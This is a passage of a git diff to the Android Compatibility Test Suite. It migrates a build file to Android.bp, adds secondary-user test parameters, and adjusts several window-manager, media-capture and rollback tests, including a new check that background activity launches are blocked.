+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsContentSuggestionsTestCases",
+ defaults: ["cts_defaults"],
+ static_libs: [
+ "androidx.annotation_annotation",
+ "compatibility-device-util-axt",
+ "ctstestrunner-axt",
+ "truth-prebuilt",
+ // TODO: remove once Android migrates to JUnit 4.12,
+ // which provides assertThrows
+ "testng",
+ ],
+ srcs: ["src/**/*.java"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/tests/contentsuggestions/Android.mk b/tests/contentsuggestions/Android.mk
deleted file mode 100644
index 2577e88..0000000
--- a/tests/contentsuggestions/Android.mk
+++ /dev/null
@@ -1,41 +0,0 @@
-# Copyright (C) 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- androidx.annotation_annotation \
- compatibility-device-util-axt \
- ctstestrunner-axt \
- truth-prebuilt \
- testng # TODO: remove once Android migrates to JUnit 4.12, which provide assertThrows
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsContentSuggestionsTestCases
-
-LOCAL_SDK_VERSION := system_current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/contentsuggestions/AndroidTest.xml b/tests/contentsuggestions/AndroidTest.xml
index d6c73a2..9e8821d 100644
--- a/tests/contentsuggestions/AndroidTest.xml
+++ b/tests/contentsuggestions/AndroidTest.xml
@@ -20,6 +20,7 @@
<!-- Only available to recents, which can't be an instant app. -->
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/contentsuggestions/src/android/contentsuggestions/cts/ContentSuggestionsManagerTest.java b/tests/contentsuggestions/src/android/contentsuggestions/cts/ContentSuggestionsManagerTest.java
index c9f7fbb..ba7791d 100644
--- a/tests/contentsuggestions/src/android/contentsuggestions/cts/ContentSuggestionsManagerTest.java
+++ b/tests/contentsuggestions/src/android/contentsuggestions/cts/ContentSuggestionsManagerTest.java
@@ -37,10 +37,13 @@
import androidx.annotation.NonNull;
import androidx.test.runner.AndroidJUnit4;
+import com.android.compatibility.common.util.RequiredServiceRule;
+
import com.google.common.collect.Lists;
import org.junit.After;
import org.junit.Before;
+import org.junit.ClassRule;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -56,7 +59,11 @@
private static final String TAG = ContentSuggestionsManagerTest.class.getSimpleName();
private static final long VERIFY_TIMEOUT_MS = 5_000;
- private static final long SERVICE_LIFECYCLE_TIMEOUT_MS = 10_000;
+ private static final long SERVICE_LIFECYCLE_TIMEOUT_MS = 30_000;
+
+ @ClassRule
+ public static final RequiredServiceRule mRequiredServiceRule =
+ new RequiredServiceRule(Context.CONTENT_SUGGESTIONS_SERVICE);
private ContentSuggestionsManager mManager;
private CtsContentSuggestionsService.Watcher mWatcher;
@@ -65,6 +72,7 @@
public void setup() {
mWatcher = CtsContentSuggestionsService.setWatcher();
+ Log.d(TAG, "Test setting service");
mManager = (ContentSuggestionsManager) getContext()
.getSystemService(Context.CONTENT_SUGGESTIONS_SERVICE);
setService(CtsContentSuggestionsService.SERVICE_COMPONENT.flattenToString());
@@ -79,10 +87,12 @@
await(mWatcher.created, "Waiting for create");
reset(mWatcher.verifier);
+ Log.d(TAG, "Service set and watcher reset.");
}
@After
public void tearDown() {
+ Log.d(TAG, "Starting tear down, watcher is: " + mWatcher);
resetService();
await(mWatcher.destroyed, "Waiting for service destroyed");
diff --git a/tests/fragment/sdk26/AndroidTest.xml b/tests/fragment/sdk26/AndroidTest.xml
index baad0aa..c2cd6a4 100644
--- a/tests/fragment/sdk26/AndroidTest.xml
+++ b/tests/fragment/sdk26/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="uitoolkit" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsFragmentTestCasesSdk26.apk" />
diff --git a/tests/framework/base/windowmanager/appPrereleaseSdk/fake-framework/Android.bp b/tests/framework/base/windowmanager/appPrereleaseSdk/fake-framework/Android.bp
index 26031de..38e51932 100644
--- a/tests/framework/base/windowmanager/appPrereleaseSdk/fake-framework/Android.bp
+++ b/tests/framework/base/windowmanager/appPrereleaseSdk/fake-framework/Android.bp
@@ -21,7 +21,7 @@
android_app {
name: "fake-framework",
installable: false,
- sdk_version: "core_current",
+ sdk_version: "core_platform",
srcs: ["src/**/*.java"],
export_package_resources: true,
optimize: {
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/Components.java b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/Components.java
index 56aa319..5023481 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/Components.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/Components.java
@@ -46,6 +46,10 @@
"START_ACTIVITY_FROM_FG_ACTIVITY_DELAY_MS_EXTRA";
public static final String START_ACTIVITY_FROM_FG_ACTIVITY_NEW_TASK_EXTRA =
"START_ACTIVITY_FROM_FG_ACTIVITY_NEW_TASK_EXTRA";
+ public static final String LAUNCH_INTENTS_EXTRA = "LAUNCH_INTENTS_EXTRA";
+
+ public static final String ACTION_LAUNCH_BACKGROUND_ACTIVITIES =
+ Components.class.getPackage().getName() + ".ACTION_LAUNCH_BACKGROUND_ACTIVITIES";
}
/** Extra key constants for {@link #APP_A_SEND_PENDING_INTENT_RECEIVER} */
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/ForegroundActivity.java b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/ForegroundActivity.java
index 377cabf..1413fbc 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/ForegroundActivity.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/ForegroundActivity.java
@@ -16,17 +16,25 @@
package android.server.wm.backgroundactivity.appa;
+import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.ACTION_LAUNCH_BACKGROUND_ACTIVITIES;
import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.LAUNCH_BACKGROUND_ACTIVITY_EXTRA;
+import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.LAUNCH_INTENTS_EXTRA;
import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.LAUNCH_SECOND_BACKGROUND_ACTIVITY_EXTRA;
import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.RELAUNCH_FOREGROUND_ACTIVITY_EXTRA;
import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.START_ACTIVITY_FROM_FG_ACTIVITY_DELAY_MS_EXTRA;
import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.START_ACTIVITY_FROM_FG_ACTIVITY_NEW_TASK_EXTRA;
import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.Context;
import android.content.Intent;
+import android.content.IntentFilter;
import android.os.Bundle;
+import android.os.Parcelable;
import android.os.SystemClock;
+import java.util.Arrays;
+
/**
* Foreground activity that makes AppA as foreground.
*/
@@ -34,6 +42,16 @@
private boolean mRelaunch = false;
+ private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ // Need to copy as a new array instead of just casting to Intent[] since a new array of
+ // type Parcelable[] is created when deserializing.
+ Parcelable[] intents = intent.getParcelableArrayExtra(LAUNCH_INTENTS_EXTRA);
+ startActivities(Arrays.copyOf(intents, intents.length, Intent[].class));
+ }
+ };
+
@Override
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
@@ -66,6 +84,7 @@
newIntent.setClass(this, SecondBackgroundActivity.class);
startActivity(newIntent);
}
+ registerReceiver(mReceiver, new IntentFilter(ACTION_LAUNCH_BACKGROUND_ACTIVITIES));
}
@Override
@@ -78,4 +97,10 @@
startActivity(getIntent());
}
}
+
+ @Override
+ protected void onDestroy() {
+ super.onDestroy();
+ unregisterReceiver(mReceiver);
+ }
}
diff --git a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
index 933ad8d..6461c8f 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
@@ -30,7 +30,9 @@
import static android.server.wm.backgroundactivity.appa.Components.APP_A_SEND_PENDING_INTENT_RECEIVER;
import static android.server.wm.backgroundactivity.appa.Components.APP_A_SIMPLE_ADMIN_RECEIVER;
import static android.server.wm.backgroundactivity.appa.Components.APP_A_START_ACTIVITY_RECEIVER;
+import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.ACTION_LAUNCH_BACKGROUND_ACTIVITIES;
import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.LAUNCH_BACKGROUND_ACTIVITY_EXTRA;
+import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.LAUNCH_INTENTS_EXTRA;
import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.LAUNCH_SECOND_BACKGROUND_ACTIVITY_EXTRA;
import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.RELAUNCH_FOREGROUND_ACTIVITY_EXTRA;
import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.START_ACTIVITY_FROM_FG_ACTIVITY_DELAY_MS_EXTRA;
@@ -216,9 +218,7 @@
pressHomeButton();
mAmWmState.waitForHomeActivityVisible();
- // Any activity launch will be blocked for 5s because of app switching protection.
- SystemClock.sleep(7000);
-
+ waitToPreventAppSwitchProtection();
result = waitForActivityFocused(APP_A_FOREGROUND_ACTIVITY);
assertFalse("Previously foreground Activity should not be able to relaunch itself", result);
result = waitForActivityFocused(APP_A_BACKGROUND_ACTIVITY);
@@ -248,9 +248,7 @@
pressHomeButton();
mAmWmState.waitForHomeActivityVisible();
- // Any activity launch will be blocked for 5s because of app switching protection.
- SystemClock.sleep(7000);
-
+ waitToPreventAppSwitchProtection();
result = waitForActivityFocused(APP_A_FOREGROUND_ACTIVITY);
assertFalse("Previously foreground Activity should not be able to relaunch itself", result);
result = waitForActivityFocused(APP_A_BACKGROUND_ACTIVITY);
@@ -276,9 +274,7 @@
pressHomeButton();
mAmWmState.waitForHomeActivityVisible();
- // Any activity launch will be blocked for 5s because of app switching protection.
- SystemClock.sleep(5000);
-
+ waitToPreventAppSwitchProtection();
result = waitForActivityFocused(APP_A_FOREGROUND_ACTIVITY);
assertFalse("Previously foreground Activity should not be able to relaunch itself", result);
assertTaskStack(new ComponentName[]{APP_A_FOREGROUND_ACTIVITY}, APP_A_FOREGROUND_ACTIVITY);
@@ -306,6 +302,39 @@
}
@Test
+ public void testSecondActivityBlockedWhenBackgroundActivityLaunch() throws Exception {
+ Intent baseActivityIntent = new Intent();
+ baseActivityIntent.setComponent(APP_A_FOREGROUND_ACTIVITY);
+ baseActivityIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ mContext.startActivity(baseActivityIntent);
+ boolean result = waitForActivityFocused(APP_A_FOREGROUND_ACTIVITY);
+ assertTrue("Not able to start foreground activity", result);
+ assertTaskStack(new ComponentName[]{APP_A_FOREGROUND_ACTIVITY}, APP_A_FOREGROUND_ACTIVITY);
+ pressHomeButton();
+ mAmWmState.waitForHomeActivityVisible();
+ waitToPreventAppSwitchProtection();
+
+ // The activity, now in the background, will attempt to start 2 activities in quick
+ // succession
+ Intent broadcastIntent = new Intent(ACTION_LAUNCH_BACKGROUND_ACTIVITIES);
+ Intent bgActivity1 = new Intent();
+ bgActivity1.setComponent(APP_A_BACKGROUND_ACTIVITY);
+ Intent bgActivity2 = new Intent();
+ bgActivity2.setComponent(APP_A_SECOND_BACKGROUND_ACTIVITY);
+ broadcastIntent.putExtra(LAUNCH_INTENTS_EXTRA, new Intent[]{bgActivity1, bgActivity2});
+ mContext.sendBroadcast(broadcastIntent);
+
+ // There should be 2 activities in the background (not focused) INITIALIZING
+ result = waitForActivityFocused(APP_A_BACKGROUND_ACTIVITY);
+ assertFalse("Activity should not have been launched in the foreground", result);
+ result = waitForActivityFocused(APP_A_SECOND_BACKGROUND_ACTIVITY);
+ assertFalse("Second activity should not have been launched in the foreground", result);
+ assertTaskStack(
+ new ComponentName[]{APP_A_SECOND_BACKGROUND_ACTIVITY, APP_A_BACKGROUND_ACTIVITY,
+ APP_A_FOREGROUND_ACTIVITY}, APP_A_FOREGROUND_ACTIVITY);
+ }
+
+ @Test
public void testPendingIntentActivityBlocked() throws Exception {
// Cannot start activity by pending intent, as both appA and appB are in background
sendPendingIntentActivity();
@@ -400,6 +429,11 @@
assertTaskStack(new ComponentName[]{APP_A_BACKGROUND_ACTIVITY}, APP_A_BACKGROUND_ACTIVITY);
}
+ private void waitToPreventAppSwitchProtection() {
+ // Any activity launch will be blocked for 5s because of app switching protection.
+ SystemClock.sleep(7000);
+ }
+
private void assertTaskStack(ComponentName[] expectedComponents,
ComponentName sourceComponent) {
if (expectedComponents == null) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
index 3fcb7e0..523e660 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
@@ -260,6 +260,7 @@
// Launch a different activity on top.
launchActivity(BROADCAST_RECEIVER_ACTIVITY);
mAmWmState.waitForActivityState(BROADCAST_RECEIVER_ACTIVITY, STATE_RESUMED);
+ mAmWmState.waitForActivityState(MOVE_TASK_TO_BACK_ACTIVITY,STATE_STOPPED);
final boolean shouldBeVisible =
!mAmWmState.getAmState().isBehindOpaqueActivities(MOVE_TASK_TO_BACK_ACTIVITY);
mAmWmState.assertVisibility(MOVE_TASK_TO_BACK_ACTIVITY, shouldBeVisible);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AmStartOptionsTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AmStartOptionsTests.java
index a1c522c..839371f 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AmStartOptionsTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AmStartOptionsTests.java
@@ -108,6 +108,8 @@
private void startActivityAndVerifyResult(final ComponentName entryActivity,
final ComponentName actualActivity, boolean shouldStart) {
+ mAmWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
+
// Pass in different data only when cold starting. This is to make the intent
// different in subsequent warm/hot launches, so that the entrypoint alias
// activity is always started, but the actual activity is not started again
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
index e128f47..d6489a8 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
@@ -410,6 +410,9 @@
/**
* Test that device orientation is restored when an activity that requests it is no longer
* visible.
+ *
+ * TODO(b/139936670, b/112688380): This test case fails on some vendor devices which has
+ * rotation sensing optimization. So this is listed in cts-known-failures.xml.
*/
@Test
public void testAppOrientationRequestConfigClears() {
@@ -515,6 +518,9 @@
/**
* Test that device handles moving between two tasks with different orientations.
+ *
+ * TODO(b/139936670, b/112688380): This test case fails on some vendor devices which has
+ * rotation sensing optimization. So this is listed in cts-known-failures.xml.
*/
@Test
public void testTaskCloseRestoreFreeOrientation() {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/EnsureBarContrastTest.java b/tests/framework/base/windowmanager/src/android/server/wm/EnsureBarContrastTest.java
index 4830da0..4eae8f1 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/EnsureBarContrastTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/EnsureBarContrastTest.java
@@ -16,6 +16,7 @@
package android.server.wm;
+import static android.content.pm.PackageManager.FEATURE_AUTOMOTIVE;
import static android.server.wm.EnsureBarContrastTest.TestActivity.EXTRA_ENSURE_CONTRAST;
import static android.server.wm.EnsureBarContrastTest.TestActivity.EXTRA_LIGHT_BARS;
import static android.server.wm.EnsureBarContrastTest.TestActivity.backgroundForBar;
@@ -26,6 +27,7 @@
import static android.view.ViewGroup.LayoutParams.MATCH_PARENT;
import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assume.assumeFalse;
import android.app.Activity;
import android.content.Intent;
@@ -121,6 +123,10 @@
}
public void runTestDontEnsureContrast(boolean lightBars) {
+ assumeFalse(
+ "Skipping test: automotive may not have transparent background for the status bar",
+ getInstrumentation().getContext().getPackageManager().hasSystemFeature(
+ FEATURE_AUTOMOTIVE));
TestActivity activity = launchAndWait(mTestActivity, lightBars, false /* ensureContrast */);
for (Bar bar : Bar.BARS) {
Bitmap bitmap = getOnMainSync(() -> activity.screenshotBar(bar, mDumper));
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
index 4531584..2dfd254 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
@@ -512,7 +512,11 @@
@Test
public void testDockedStackToMinimizeWhenUnlocked() throws Exception {
- launchActivityInSplitScreenWithRecents(TEST_ACTIVITY);
+ if (!mIsHomeRecentsComponent) {
+ launchActivityInDockStackAndMinimize(TEST_ACTIVITY);
+ } else {
+ launchActivityInSplitScreenWithRecents(TEST_ACTIVITY);
+ }
mAmWmState.computeState(TEST_ACTIVITY);
try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
lockScreenSession.sleepDevice()
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java
index 2ec92bb..ba63060 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java
@@ -168,7 +168,7 @@
insets.getMandatorySystemGestureInsets(),
insetsLessThanOrEqualTo(insets.getSystemGestureInsets()));
- Insets stableAndSystem = Insets.max(insets.getSystemWindowInsets(),
+ Insets stableAndSystem = Insets.min(insets.getSystemWindowInsets(),
insets.getStableInsets());
assertThat("mandatory system gesture insets must include intersection between "
+ "stable and system window insets",
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java
index 908dc09..64e34fb 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java
@@ -208,7 +208,6 @@
// Start side activity so callbackTrackingActivity won't be paused due to minimized dock.
moveTaskToPrimarySplitScreen(callbackTrackingActivity.getTaskId(),
true/* showSideActivity */);
- waitAndAssertActivityStates(state(callbackTrackingActivity, ON_RESUME));
getLifecycleLog().clear();
// Launch second activity
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index 1f35533..f7337e9 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -659,7 +659,9 @@
* Moves the device into split-screen with the specified task into the primary stack.
* @param taskId The id of the task to move into the primary stack.
* @param showSideActivity Whether to show the Recents activity (or a placeholder activity in
- * place of the Recents activity if home is the recents component)
+ * place of the Recents activity if home is the recents component).
+ * If {@code true} it will also wait for activity in the primary
+ * split-screen stack to be resumed.
*/
public void moveTaskToPrimarySplitScreen(int taskId, boolean showSideActivity) {
final boolean isHomeRecentsComponent = mAmWmState.getAmState().isHomeRecentsComponent();
@@ -670,11 +672,29 @@
null /* initialBounds */, showSideActivity && !isHomeRecentsComponent);
mAmWmState.waitForRecentsActivityVisible();
- if (isHomeRecentsComponent && showSideActivity) {
- // Launch Placeholder Side Activity
- final Activity sideActivity = mSideActivityRule.launchActivity(
- new Intent());
- mAmWmState.waitForActivityState(sideActivity.getComponentName(), STATE_RESUMED);
+ if (showSideActivity) {
+ if (isHomeRecentsComponent) {
+ // Launch Placeholder Side Activity
+ final Activity sideActivity = mSideActivityRule.launchActivity(
+ new Intent());
+ mAmWmState.waitForActivityState(sideActivity.getComponentName(), STATE_RESUMED);
+ }
+
+ // There are two cases when showSideActivity == true:
+ // Case 1: it's 3rd-party launcher and it should show recents, so the primary split
+ // screen won't enter minimized dock, but the activity on primary split screen
+ // should be relaunched.
+ // Case 2: It's not 3rd-party launcher but we launched side activity on secondary
+ // split screen, the activity on primary split screen should enter then leave
+ // minimized dock.
+ // In both cases, we shall wait for the state of the activity on primary split
+ // screen to resumed, so the LifecycleLog won't affect the following tests.
+ mAmWmState.waitForWithAmState(state -> {
+ final ActivityManagerState.ActivityStack stack =
+ state.getStandardStackByWindowingMode(
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+ return stack != null && stack.getResumedActivity() != null;
+ }, "activity in the primary split-screen stack must be resumed");
}
});
}
@@ -1086,6 +1106,9 @@
}
LockScreenSession unlockDevice() {
+ // Make sure the unlock button event is send to the default display.
+ tapOnDisplay(10, 10, DEFAULT_DISPLAY);
+
pressUnlockButton();
return this;
}
diff --git a/tests/jdwp/AndroidTest.xml b/tests/jdwp/AndroidTest.xml
index 9fc608e..d17adbd 100644
--- a/tests/jdwp/AndroidTest.xml
+++ b/tests/jdwp/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="art" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
<option name="run-command" value="mkdir -p /data/local/tmp/ctsjdwp/java.io.tmpdir" />
<option name="run-command" value="mkdir -p /data/local/tmp/ctsjdwp/user.home" />
diff --git a/tests/mocking/AndroidTest.xml b/tests/mocking/AndroidTest.xml
index 94bcc6f..73759b0 100644
--- a/tests/mocking/AndroidTest.xml
+++ b/tests/mocking/AndroidTest.xml
@@ -19,6 +19,7 @@
<option name="config-descriptor:metadata" key="component" value="mocking" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/mocking/debuggable/AndroidTest.xml b/tests/mocking/debuggable/AndroidTest.xml
index f3c8dad..95db765 100644
--- a/tests/mocking/debuggable/AndroidTest.xml
+++ b/tests/mocking/debuggable/AndroidTest.xml
@@ -20,6 +20,7 @@
<option name="config-descriptor:metadata" key="component" value="mocking" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/mocking/inline/AndroidTest.xml b/tests/mocking/inline/AndroidTest.xml
index ab18927..0c83c25 100644
--- a/tests/mocking/inline/AndroidTest.xml
+++ b/tests/mocking/inline/AndroidTest.xml
@@ -19,6 +19,7 @@
<option name="config-descriptor:metadata" key="component" value="mocking" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java b/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
index fc7ed48..de946b3 100644
--- a/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
+++ b/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
@@ -243,14 +243,15 @@
perms.add(ACCESS_COARSE_LOCATION);
perms.add(ACCESS_BACKGROUND_LOCATION);
perms.add(ACCESS_MEDIA_LOCATION);
- testImageCaptureWithoutLocation(perms);
+ testImageCaptureWithoutLocation(perms, MediaStore.ACTION_IMAGE_CAPTURE);
+ testImageCaptureWithoutLocation(perms, MediaStore.ACTION_IMAGE_CAPTURE_SECURE);
}
/**
* Helper function to verify that whoever handles {@link MediaStore#ACTION_IMAGE_CAPTURE} can
* correctly write the contents into a passed {@code content://} Uri, without location
* information, necessarily, when ACCESS_FINE_LOCATION permissions aren't given.
*/
- private void testImageCaptureWithoutLocation(Set<String> locationPermissions)
+ private void testImageCaptureWithoutLocation(Set<String> locationPermissions, String intentStr)
throws Exception {
assertFalse("testImageCaptureWithoutLocation should not be passed ACCESS_FINE_LOCATION",
locationPermissions.contains(ACCESS_FINE_LOCATION));
@@ -267,7 +268,7 @@
targetDir.mkdirs();
assertFalse(target.exists());
- final Intent intent = new Intent(MediaStore.ACTION_IMAGE_CAPTURE);
+ final Intent intent = new Intent(intentStr);
intent.putExtra(MediaStore.EXTRA_OUTPUT,
FileProvider.getUriForFile(mContext, "android.providerui.cts.fileprovider", target));
diff --git a/tests/rollback/Android.bp b/tests/rollback/Android.bp
index 080a2d5..3b3e617 100644
--- a/tests/rollback/Android.bp
+++ b/tests/rollback/Android.bp
@@ -15,7 +15,7 @@
android_test {
name: "CtsRollbackManagerTestCases",
srcs: ["src/**/*.java"],
- static_libs: ["androidx.test.rules", "cts-rollback-lib"],
+ static_libs: ["androidx.test.rules", "cts-rollback-lib", "cts-install-lib"],
test_suites: ["general-tests"],
sdk_version: "test_current",
}
diff --git a/tests/rollback/AndroidManifest.xml b/tests/rollback/AndroidManifest.xml
index 5de7f87..3203f25 100644
--- a/tests/rollback/AndroidManifest.xml
+++ b/tests/rollback/AndroidManifest.xml
@@ -19,7 +19,7 @@
package="com.android.cts.rollback" >
<application>
- <receiver android:name="com.android.cts.rollback.lib.LocalIntentSender"
+ <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
android:exported="true" />
<uses-library android:name="android.test.runner" />
</application>
diff --git a/tests/rollback/src/android/server/cts/rollback/RollbackManagerTest.java b/tests/rollback/src/com/android/cts/rollback/RollbackManagerTest.java
similarity index 70%
rename from tests/rollback/src/android/server/cts/rollback/RollbackManagerTest.java
rename to tests/rollback/src/com/android/cts/rollback/RollbackManagerTest.java
index f7ab15de..2df3912 100644
--- a/tests/rollback/src/android/server/cts/rollback/RollbackManagerTest.java
+++ b/tests/rollback/src/com/android/cts/rollback/RollbackManagerTest.java
@@ -25,10 +25,12 @@
import androidx.test.InstrumentationRegistry;
-import com.android.cts.rollback.lib.Install;
+import com.android.cts.install.lib.Install;
+import com.android.cts.install.lib.InstallUtils;
+import com.android.cts.install.lib.TestApp;
+import com.android.cts.install.lib.Uninstall;
import com.android.cts.rollback.lib.Rollback;
-import com.android.cts.rollback.lib.TestApp;
-import com.android.cts.rollback.lib.Utils;
+import com.android.cts.rollback.lib.RollbackUtils;
import org.junit.After;
import org.junit.Before;
@@ -56,7 +58,7 @@
Manifest.permission.DELETE_PACKAGES,
Manifest.permission.TEST_MANAGE_ROLLBACKS);
- Utils.uninstall(TestApp.A);
+ Uninstall.packages(TestApp.A);
}
/**
@@ -64,7 +66,7 @@
*/
@After
public void teardown() throws InterruptedException, IOException {
- Utils.uninstall(TestApp.A);
